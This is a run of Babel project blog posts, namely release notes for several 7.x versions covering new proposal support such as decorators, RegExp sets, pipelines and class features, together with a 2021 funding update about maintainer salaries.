+  return _regeneratorRuntime().wrap(function f$(_context) {
     while (1) {
       switch (_context.prev = _context.next) {
         case 0:
         case "end":
           return _context.stop();
       }
     }
   }, f);
 });

After years of iterations, rewrites and adjustments it looks like the decorators proposal has finally stabilized again on a new design! This release includes both parse and transform support for the new proposal.

We also implemented the RegExp v flag proposal and added parsing support for destructuring private fields, both currently Stage 2. Lastly, a new experimental implementation of @babel/register.

You can read the whole changelog on GitHub.

If you or your company want to support Babel and the evolution of JavaScript, but aren't sure how, you can donate to us on our Open Collective or GitHub Sponsors and, better yet, work with us on the implementation of new ECMAScript proposals directly! As a volunteer-driven project, we rely on the community's support to fund our efforts in supporting the wide range of JavaScript users. Reach out at team@babeljs.io if you'd like to discuss more!

Highlights​

Decorators (#14004, #13681)​

After receiving feedback from JavaScript developers, engine developers and language experts, the decorators proposal was rewritten to take into account multiple constraints and desires. We collaborated with the current proposal author, @pzuraq to implement the new Stage 2 proposal in Babel.

The new implementation also supports decorating private class elements, as well as the new "class auto accessors" syntax:

@defineElement("button")
class Button {
  @reactive accessor enabled = true; // class auto accessors

  @event("onClick") #handleClick() { // decorator on a private method
    console.log("clicked!");
  }
}

You can enable the new proposal by passing the "version": "2021-12" option to @babel/plugin-proposal-decorators:

{
  "plugins": [
    ["@babel/plugin-proposal-decorators", {
        "version": "2021-12"
    }]
  ]
}

If you want to help move the proposal forward, you can try using it and leave feedback in their GitHub repository.

RegExp set notation and properties of strings (#14125)​

Babel now supports the RegExp set notation and properties of strings proposal, which introduces three new regular expression features behind a new v flag:

• Extended set notation, which allows computing difference, intersection and union of characters or strings sets
  JavaScript

  /[\p{Decimal_Number}--[0-9]]/v; // Non-ASCII decimal digits
  /[\p{ASCII}&&\p{Letter}]/v; // ASCII letters
  /[[\p{ASCII}&&\p{Letter}]\p{Number}]/v; // ASCII letters, or any digit
  
• Properties of strings, which allow using \p escapes with multi-codepoint properties
  JavaScript

  "Did you see the 👩🏿‍❤️‍💋‍👩🏾 emoji?".match(/\p{RGI_Emoji}/v). // ["👩🏿‍❤️‍💋‍👩🏾"]
  
• Multi-codepoint strings in sets, using a new \q escape
  JavaScript

  /[\r\n\q{\r\n|NEWLINE}]/v; // Matches \r, \n, \r\n or NEWLINE
  

You can enable this proposal using the @babel/plugin-proposal-unicode-sets-regex plugin:

{
  "plugins": ["@babel/plugin-proposal-unicode-sets-regex"]
}

Babel relies on different third-party packages to transform regular expressions: we are grateful to the maintainers of regjsparser, regjsgen and regexpu-core who took time to review our pull requests!

@@ and ^^ topic tokens for Hack-style pipes (#13973)​

We are continuing to help the proposal authors evaluate different tokens for the pipeline operator proposal: one of the champions, J. S. Choi, added support for two new tokens that you can try with the topicToken option:

{
  "plugins": [
    ["@babel/plugin-proposal-pipeline-operator", {
      "proposal": "hack",
      "topicToken": "^^" // or "@@"
    }]
  ]
}

You can read more about the supported variations in the @babel/plugin-proposal-pipeline-operator docs.

Experimental @babel/register rewrite (#13782)​

We plan to release Babel 8 as an ESM package. However, this poses a big problem: how to load and run it synchronously in CommonJS packages?

Usually most Babel consumers can run Babel asynchronously, or at least load it asynchronously. This isn't true for @babel/eslint-parser (which integrates Babel's parser with ESLint) and @babel/register (which can be used to transpile Node.js files on-the-fly), where we need to move parsing and transforming to a separate worker.

Babel 7.16.0 exposes the new experimental @babel/register implementation at @babel/register/experimental-worker: it internally runs Babel asynchronously, so it's compatible with .mjs configuration files and with .mjs Babel plugins. It will be enabled by default in Babel 8, and you can already use it as a replacement for @babel/register with a few caveats:

• If you programmatically specify @babel/register options (using require("@babel/register")({ /* ... options */ })), you must make sure that they are serializable. This means that you cannot pass plugin functions defined inline, but you must move them to a separate ./my-plugin.js file or to a babel.config.js file.
• The new implementation is still experimental: it should have the same features as the existing one, but there are a few improvements that we are exploring.

We already released the new experimental @babel/eslint-parser implementation in Babel 7.15.0, exposed at @babel/eslint-parser/experimental-worker.

This release enables class static initialization blocks by default. It includes support for a new variant of the pipeline operator proposal, as well as TypeScript 4.5 compatibility.

Furthermore, @babel/eslint-parser now supports ESLint 8.

You can read the whole changelog on GitHub.

If you or your company want to support Babel and the evolution of JavaScript, but aren't sure how, you can donate to us on our Open Collective and, better yet, work with us on the implementation of new ECMAScript proposals directly! As a volunteer-driven project, we rely on the community's support to fund our efforts in supporting the wide range of JavaScript users. Reach out at team@babeljs.io if you'd like to discuss more!

Highlights​

Class static blocks enabled by default (#13713)​

class MyClass {
  static {
    doSomeInitialization(MyClass);
    console.log("MyClass initialized!");
  }
}

Static blocks, that reached Stage 4 in August, are now enabled by default in @babel/parser and @babel/preset-env.

If you were using the classStaticBlock parser plugin, or @babel/plugin-syntax-class-static-block, you can safely remove them from your config.

If you already use @babel/preset-env, you can now remove @babel/plugin-proposal-class-static-block from your config.

TypeScript 4.5 features (#13802, #13838)​

TypeScript 4.5 introduces a new syntax for marking imports as type-only: rather than marking the whole import statement, you can mark a single specifier:

// TypeScript 4.4
import type { Foo } from "my-module";
import { fooInstance } from "my-module";

// TypeScript 4.5
import { type Foo, fooInstance } from "my-module";

It also supports two new file extensions: .mts and .cts, that mirror .mjs and .cjs. When passing an .mts or .cts file to Babel with @babel/preset-typescript enabled, it uses the file extension to detect the desired source type ("module" or "script").

.mts and .cts file cannot contain JSX code by default, but they cannot contain TypeScript annotations that would be ambiguous with JSX (<Type> cast and <T>() => {}).

You can read the full TypeScript 4.5 release post on their blog.

^ topic token for Hack-style pipes (#13749)​

The champions of the pipeline operator proposal are considering various topic tokens (the reference to the value from the previous pipeline step).

@babel/plugin-proposal-pipeline-operator (and the "pipelineOperator" parser plugin) now support three of them: #, ^ and %.

let values = getNames()
  |> ["default"].concat(^)
  |> await loadValues(^);

You can enable the current version of the pipeline operator proposal using the proposal: "hack" option, and you can choose the topic token using topicToken: "^":

{
  "plugins": [
    ["@babel/plugin-proposal-pipeline-operator", {
      "proposal": "hack",
      "topicToken": "^"
    }]
  ]
}

ESLint 8 support in @babel/eslint-parser (#13782)​

@babel/eslint-parser now supports ESLint 8: you can update your "eslint" dependency and it will just work.

If you are an ESLint plugin author, pay attention to the breaking change in the AST for class fields and private methods: when using ESLint 7 they follow the Babel AST shape; when using ESLint 8 they follow ESLint and the ESTree specification. This is because ESLint introduced support for these new class features starting from ESLint 8.

We also introduced a new compiler assumption, noIncompleteNsImportDetection, to produce a smaller output when compiling ECMAScript modules to CommonJS without worrying about partially initialized namespace imports caused by module cycles.

Additionally, you can now specify Rhino as a compilation target.

You can read the whole changelog on GitHub.

We're really grateful for all the support the community has shown over the last months, since our funding post update in May. Reach out at team@babeljs.io if you'd like to discuss about sponsorships!

Highlights​

ECMAScript features enabled by default​

In the last two meetings, the top-level await and ergonomic brand checks for private fields proposals reached Stage 4.

import * as db from "database";

await db.connect(); // top-level await

class DBConnector {
  #password;
  static isConnector(obj) {
    return #password in obj; // ergonomic brand checks
  }
}

Babel now supports them by default, so you can remove the following plugins from your configuration:

• @babel/plugin-syntax-top-level-await
• @babel/plugin-syntax-private-property-in-object
• @babel/plugin-proposal-private-property-in-object

Please note that Babel can currently only parse top-level await and cannot transform it.

New TypeScript features (#13324, #13528)​

TypeScript 4.4 doesn't include any new syntax that we had to implement, other than a minor restriction: you cannot specify the value of an abstract class field.

abstract class C {
    abstract prop = 1; // now a SyntaxError!
}

However, we did add two TypeScript features that we have been missing for a long time: const enums and namespace aliases (import Alias = Namespace).

Previously we presented an error when using const enums since it requires type information to compile correctly. As a workaround, the community built plugins such as babel-plugin-const-enum. Babel now ignores the const modifier when compiling enums, which matches TypeScript's behavior when using the --isolatedModules option.

If you want a more optimized output similar to the default code produced by TypeScript, you can enable the optimizeConstEnums option of @babel/plugin-tranform-typescript or @babel/preset-typescript.

// Input
const enum Animals { Dog }
console.log(Animals.Dog);

// Output (default)
var Animals;
(function (Animals) {
  Animals[Animals["Dog"] = 0] = "Dog";
})(Animals || (Animals = {}));

console.log(Animals.Dog);

// Output with `optimizeConstEnums`
console.log(0);

Hack-style pipeline operator support (#13191, #13416)​

"Hack-style pipelines" is a new flavor of the pipeline operator proposal, intended to replace the "smart mix" variant.

Hack-style pipelines require you to always use a "topic token" (such as #) to reference the value of the previous pipeline step:

// Input
"World"
  |> `Hello, ${#}!`
  |> alert(#);

// output
var _ref, _ref2;

_ref2 = (_ref = "World", `Hello, ${_ref}!`), alert(_ref2);

You can test this proposal by enabling the proposal: "hack" option in @babel/plugin-proposal-pipeline-operator. You must also choose which topic token to use, between "#" and "%":

{
  "plugins": [
    ["@babel/plugin-proposal-pipeline-operator", {
      "proposal": "hack",
      "topicToken": "#"
    }]
  ]
}

Preparing @babel/eslint-parser for Babel 8 (#13398)​

We have been slowly continuing to work on Babel 8 in the past months. We are not ready for a Babel 8 beta release yet, but we are starting to expose the first experimental changes.

We plan to fully convert Babel from CommonJS to ECMAScript modules, but this has a problem: configuration loading will be asynchronous more often, and @babel/eslint-parser can only work synchronously (because ESLint only supports synchronous parsers).

@babel/eslint-parser 7.15.0 exposes a new entry-point: @babel/eslint-parser/experimental-worker. It moves the Babel config loading and parsing task to a separate worker which is managed synchronously from the main thread, while still supporting async configuration loading. As an immediate advantage for Babel 7, it allows using native ECMAScript modules for Babel configuration files even when using @babel/eslint-parser.

You can help us by testing it now in your existing projects, and reporting any bug on our issues page:

// .eslintrc.js
module.exports = {
  parser: "@babel/eslint-parser/experimental-worker"
};

In November 2019, after successfully paying Henry a salary for over a year, we expanded our goal to also support three additional maintainers: Jùnliàng, Kai, and Nicolò.

Part of the Babel team (Nicolò, Jùnliàng and Henry) is still being paid a salary to work on Babel, but we now need to make some adjustments in light of the donations we are currently receiving. This update is to talk about that and ask for further support from the community.

Looking Back​

In 2018, Henry left his job to see if he could make a living working on open source and Babel, looking to people like Evan You as an example and for advice. He had already started work on getting more funding through the Open Collective that we had set up in 2017 to support the project and specifically our previous core team member Logan Smyth, but it was difficult to do so early on while working half-time.

After a few months, the fundraising efforts allowed paying Henry every month: we settled on $11,000 per month as a baseline salary for working full-time on open source. We had a large grant ($10k for 10 months) from Handshake which initially helped boost our funds, but even when it ended we didn't have problems paying our team thanks to some amazing sponsors such as Airbnb, Trivago, Gatsby, AMP, and Salesforce.

We didn't want to stop there. We thought that by demonstrating our ability to create and pay a strong team, more features and improvements (and in turn, value) would be delivered via Babel, which would continue the momentum of funding and sponsorship. We decided to start paying Jùnliàng, Nicolò and Kai a "part-time" rate: we could initially afford $2,000 USD per month. Our hope was by announcing this plan and continuing our fundraising efforts, we would be able to increase the budget and raise them to the full-time rate.

Where Babel is Today​

It has been more than a year since then and we've both done and learned a lot.

We've implemented support for many new ECMAScript proposals, kept up with every new TypeScript and Flow release, and designed new features to allow producing smaller compiled output. We are now nearing the next major release, Babel 8.

Babel continues to be used by thousands of companies all over the world. It's integrated into all kinds of frameworks in the JavaScript ecosystem, whether it's React, Next.js, Vue, Ember, Angular, etc. We are hitting over 117 million downloads/month. It powers custom plugins and optimizations in varied scenarios like CSS-in-JS, GraphQL, or localization across enormous code bases.

Babel also has become the intersection where practioners and language designers meet. We believe that it's become a vital part of the process used to test new ECMAscript proposals (hopefully, not with too many unstable proposals in production!). This creates the ability for JavaScript developers to try new features and give feedback to the TC39 committee and ultimately influence how the language evolves. Babel doesn't represent any individual company's interest but hopefully the JavaScript users eagerness to participate in new ideas. Even if you or your company don't directly use Babel, you can still directly benefit from how it can help standardizing language features.

Our Current Funding Situation​

Every project has unique funding propositions and problems. For Babel, people often don't directly interact with it: like most build tools, you set them up once at the beginning and then forget about them (until you find a bug, sometimes!).

You won't see job offers for a "Babel developer", even if most of the major JS frameworks are used with Babel. Additionally, with the growth of pre-configured frameworks such as Next.js that lift the responsibility of managing the underlying build tools from their users, it's not uncommon to use Babel without even knowing it. This makes it harder for our users to justify sponsoring us to their companies.

From the beginning, we knew we wouldn't have enough to pay anyone a full time salary, so Henry has been spending a lot of time attempting to get continued funding, giving talks at conferences and talking to companies. However, 2020 has negatively affected our funding, despite the tech industry's growth during this time. We lost some big sponsors, and Kai had to step down to get full-time work at another job.

We were hoping to see a continued increase in donations to be able to increase what Jùnliàng and Nicolò where taking, but it didn't happen.

The Future​

Despite these funding difficulties, we still want to keep paying our core team, in order to continue improving Babel. We want to focus on making Babel easier to configure, more performant, and produce more optimized output. We want to continue implementing new proposals while also ensuring that existing features are rock solid. We want to be able to spend time on better documentation of not just Babel itself but JavaScript and language design, creating an environment where any developer can tinker with making their own syntax if they choose. There's a large scope not in terms of the code we write but opportunities to bring more people into the language design space for people who might not have ever considered it. We have also published a roadmap to better communicate our medium-term goals.

We strongly believe that working in open source should be a viable and sustainable career path. We should be bringing everyone up to the same level, not down. However, we need to face the fact that this would mean draining our current balance in just a few months.

Everyone taking smaller and smaller amounts ends up creating a false sense of sustainability. It lowers how we value our own work, and what sponsors perceive to be sustainable amount of funding.

The reality is that, without more funding, we risk not being able to maintain the high standard of support and development that Babel and its users deserve. We risk losing more team members, who deserve to make a decent living in line with their skill level. The open source ecosystem also risks under-supporting a critical and widely used piece of technology.

Our Ask​

For now, Nicolò, Henry, and Jùnliàng will all be paid a temporary rate of $6,000 per month. This doesn't solve the problem, but it gives us time while increasing the initial temporary $2,000 USD salaries. The burn rate will still be more than the donations we currently receive each month, but our current balance allows us to sustain this amount until the end of 2021.

We'll do our best to balance all the priorities, while at reduced capacity due to being able to fund less of people's time and needing to spend some of that time finding new sponsors. Babel is not a company, a product, or service. And we have a small team, so we are the same people working on engineering and on funding. But it's a compromise we don't think we should have to make, considering the huge value that Babel delivers.

To fully fund the currently paid maintainers (but we would like to expand who is being paid, to include the whole core team), we need at least $333,000 per year, which is 2x what we're currently bringing in. Considering the amounts of money in the tech sector, this seems tiny in comparison—but it would make a big difference to Babel. Our story and stories like it make a big difference to the health and sustainability of the open source ecosystem overall.

So, our ask is to help fund our work, via Open Collective and GitHub Sponsors. Though individual contributions do matter (and we deeply appreciate them), we are really looking for more companies to step up and become corporate sponsors, alongside our current sponsors like AMP, Airbnb, Salesforce, GitPod, and others. If it would be better for your company to sustain us in other ways, we are also open to hearing any ideas. Reach out to us directly or by email at team@babeljs.io.

We intensely hope that we'll reach our goals: more and more companies use Babel to deliver their products, and what we are asking for is a tiny fraction of the value we provide. Babel is relied upon by a big part of the web, and it's in the interests of everyone to ensure that the project continues being maintained at the same quality levels as it is now.

This release enables class fields and private methods by default (they were promoted to Stage 4 during the recent April TC39 meeting!) and adds brand checks for private fields and static class blocks to @babel/preset-env's shippedProposals option.

We added support for Stage 1 async do expressions (using @babel/plugin-proposal-async-do-expressions), which extends the Stage 1 do expression proposal.

Thanks to Sosuke Suzuki and Pig Fang, Babel can now handle TypeScript 4.3 features. @babel/parser also has a new option to correctly parse TypeScript declaration files.

Finally, we introduced a new importInterop: node option to make it easier to produce dual modules by compiling ECMAScript imports to CommonJS that follow Node.js semantics.

You can read the whole changelog on GitHub.

If you or your company want to support Babel and the evolution of JavaScript, but aren't sure how, you can donate to us on our Open Collective and, better yet, work with us on the implementation of new ECMAScript proposals directly! As a volunteer-driven project, we rely on the community's support to fund our efforts in supporting the wide range of JavaScript users. Reach out at team@babeljs.io if you'd like to discuss more!

Highlights​

New class features enabled by default​

The class fields and private methods proposals just reached Stage 4 and will be officially included in ECMAScript 2022! This was more of a formality since the semantics were already finalized and they've already been implemented in all the major browsers.

You can read more details about this new syntax on MDN (public fields, private fields and methods).

class Check {
  static className = "Check"; // static public class field

  #value = 3; // # means private!

  get #double() { // private getter
    return this.#value * 2; // using a private field
  }
}

Thus, you can remove @babel/plugin-proposal-class-properties and @babel/plugin-proposal-private-methods, since they are now enabled by default in @babel/preset-env.

// Require webpack's acorn dependency
const acorn = require(require.resolve("acorn", {
  paths: [require.resolve("webpack")]
}));

// Enable the Stage 3 plugin
acorn.Parser = acorn.Parser.extend(require("acorn-stage3"));

If you are using @babel/preset-env's shippedProposals option, it now also includes the @babel/plugin-proposal-private-property-in-object (introduced in 7.10) and @babel/plugin-proposal-class-static-block (introduced in 7.12) plugins: you can safely remove them from your configuration.

class Foo {
  #bar = "bar";

  test(obj) {
    return #bar in obj; // private-property-in-object
  }

  static #x = 42;
  static y;
  static { // static block
    try {
      this.y = doSomethingWith(this.#x);
    } catch {
      this.y = "unknown";
    }
  }
}

Better ESM-CJS interop​

When importing a CommonJS file from an ECMAScript module, Node.js has different semantics than most of the tools in the JavaScript ecosystem.

Suppose that you are depending on the following library:

export default function two() {
  return 2;
}

And the author of this library doesn't publish it as-is, but compiles it to CommonJS:

"use strict";

Object.defineProperty(exports, "__esModule", { value: true });
exports.default = two;

function two() {
  return 2;
}

When importing this library with Babel (or TypeScript, Rollup or similar tools) and compiling your code to CommonJS, it will look like:

import two from "two";
console.log(two());

One day, you decide to provide two versions of your code: a compiled CommonJS one, and one using native ECMAScript modules.

While the compiled version works, the ESM one will throw TypeError: two is not a function. This is because in Node.js, the default import is not the dependency's exports.default, but the whole module.exports object instead.

You could change your code to:

import two from "two";
console.log(two.default());

However, this new code has a problem: it now doesn't work when compiled, because two.default is not a function.

Babel v7.14.0 adds a new importInterop: "node" option in the @babel/plugin-transform-modules-commonjs plugin that allows import statements to match the native Node.js behavior. You can read more about this option in the docs.

Nicolò from our team also contributed a similar option to @rollup/plugin-commonjs, which will be out in the next release. Our goal is to help the ecosystem migrate to native ECMAScript modules by providing an easier migration path.

TypeScript 4.3​

The new TypeScript version, which will be released as stable in May, supports a few new features:

• override modifiers in class elements
• static index signatures ([key: KeyType]: ValueType) in classes
• get/set in type declarations

You can read more about them in the TypeScript 4.3 release post. This is supported through @babel/preset-typescript.

async do expressions​

async do expressions are a Stage 1 proposal built on top of the do expressions proposal.

They allow using asynchronous blocks within synchronous code, and those blocks are evaluated as a promise:

function sync() {
  let x = async do {
    let res = await Promise.resolve("Third!");
    console.log("Second!");
    res;
  };
  console.log("First!");
  x.then(console.log);
}

console.log(sync());
// Logs:
// - "First!"
// - "Second!"
// - "Third!"

You can test this proposal (and report feedback!) by adding the @babel/plugin-proposal-do-expressions and @babel/plugin-proposal-async-do-expressions plugins to your Babel configuration.

Do you have any comment or question? Discuss on GitHub!

This release includes some important features to @babel/core: a targets option (similar to @babel/preset-env's one) that can be shared across different plugins, an assumptions option to precisely tune your configuration to produce a smaller compilation output, and support for plugins and presets written using native ECMAScript modules.

Babel now supports transforming the Records and Tuples ECMAScript proposal, which brings immutable data structures and structural equality to JavaScript, and parsing the Module Blocks proposal.

Additionally, we added support for some new Flow and TypeScript features.

You can read the full changelog on GitHub.

Funding Update​

We have joined the "GitHub Sponsors for organizations" program, so you can now sponsor us directly through GitHub 😊.

These funds are used to support our team's (currently one full-time and three part-time maintainers) continued efforts in improving stability and developing new features.

Both our donations and expenses are openly tracked through our Open Collective page, where we will also track donations coming from GitHub Sponsors.

We welcome donations from both individual and companies. If your company is interested in becoming a Gold tier sponsor ($1k/month) and wants to discuss more, please reach out to team@babeljs.io!

Highlights​

Top-level targets option (#12189, RFC)​

@babel/preset-env's targets option allows users to specify their target environments, automatically choosing which syntax to transform and what polyfills to inject. Since releasing @babel/preset-env, we've learned that plugins themselves can also benefit from knowing your targets. Currently, this can a bit cumbersome, as you have to specify your targets twice (for example, if you are using our new polyfill plugins). By introducing targets as a top level option, you now only have to specify your targets once:

{
  "presets": [
    ["@babel/preset-env", {
        "targets": ">1%, not ie 11"
    }]
  ],
  "plugins": [
    ["polyfill-es-shims", {
      "targets": ">1%, not ie 11"
    }]
  ]
}

{
  "targets": ">1%, not ie 11",
  "presets": ["@babel/preset-env"],
  "plugins": ["polyfill-es-shims"]
}

We recommended converting your Babel config to use the new top-level targets option, as it has the following additional benefits:

1. It has better handling of the esmodules: true target. (it's intersected with the other targets, rather than replacing them)
2. As we introduce additional targets-related support in our plugins, you'll automatically benefit from more optimized output!

You can read the details about this new option in its RFC.

🔮 In the future we might explore moving @babel/preset-env into @babel/core so that you don't have to install an additional package to get started with Babel. This new option can be seen as the first step in that direction!

Top-level assumptions option (#12219, RFC)​

Many of our plugins have a loose option, which tells Babel to generate smaller/faster output by making certain assumptions about your code and ignoring certain edge cases in the JavaScript spec.

However, loose has some problems that lead to user confusion: the term itself does not help to describe how exactly it affects the compiler's behavior and, worse, sometimes requires setting configuration for multiple plugins to ensure everything compiles.

To help fix these problems, we've added a new top level option to tell Babel which assumptions it can make about your code: assumptions! Similar to the new targets option, every plugin will now receive the assumptions you've enabled, eliminating the need to set the option individually. This is really valuable since a plugin can be influenced by multiple assumptions, and an assumption can influence multiple plugins.

For example, when transforming classes, Babel will generate this output by default:

class Test {
  constructor() {
    this.x = 2;
  }
}

// You can test the thrown error in the console:
// Uncaught TypeError: class constructors must be invoked with 'new'
Test();

function _classCallCheck(instance, Constructor) {
  if (!(instance instanceof Constructor)) {
    throw new TypeError("Cannot call a class as a function");
  }
}

let Test = function Test() {
  _classCallCheck(this, Test);

  this.x = 2;
};

// You can test the thrown error in the console:
// Uncaught TypeError: class constructors must be invoked with 'new'
Test();

However, enabling the noClassCalls assumption tells Babel "I'm never trying to call classes without new, so you can compile without worrying about it":

{
  "targets": "firefox 30",
  "assumptions": { "noClassCalls": true },
  "presets": ["@babel/preset-env"]
}

class Test {
  constructor() {
    this.x = 2;
  }
}

// Won't throw since we violated the assumption
Test();

let Test = function Test() {
  this.x = 2;
};

// Won't throw since we violated the assumption
Test();

Check out the full list of assumptions over in our documentation, where you can individually enable or disable them to see how they affect the compiled output.

Records and Tuples support (#12145)​

Thanks to a collaboration with Bloomberg, Babel now supports transforming the "Records and Tuples" stage 2 proposal.

The Babel plugin transforms records and tuples syntax using the global Record and Tuple functions:

let data = #{
  name: "Babel",
  ids: #[1, 2, 3]
};

let data = Record({
  name: "Babel",
  ids: Tuple(1, 2, 3),
});

This means that you will need to load a polyfill for those global functions, such as @bloomberg/record-tuple-polyfill, either by importing it in your code or with a <script> tag:

<script src="https://unpkg.com/@bloomberg/record-tuple-polyfill@0.0.3/lib/index.umd.js" />